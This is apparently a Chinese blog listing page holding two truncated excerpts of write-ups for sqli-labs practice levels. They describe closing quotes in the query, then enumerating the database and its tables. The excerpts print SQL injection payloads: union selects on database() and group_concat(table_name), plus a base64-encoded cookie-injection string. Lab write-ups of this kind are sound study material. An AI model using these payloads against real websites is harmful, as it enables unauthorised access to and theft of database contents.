摘要：
1.这个没有登录框，我们先看一下php文件 看到替换了能用的注释符，所以我们构造闭合语句 2.爆破 （1）爆库：?id=' union select 1,2,database() ' （2）爆表：?id=' union select 1,2,group_concat(table_name) from 阅读全文
摘要：
1.base64编码，双引号，报错型，cookie型注入 （1）和Less（21）一样，只需要使用双引号再去掉括号 2.爆破 （1）爆库：-admin" union select 1,2,database() # LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXN 阅读全文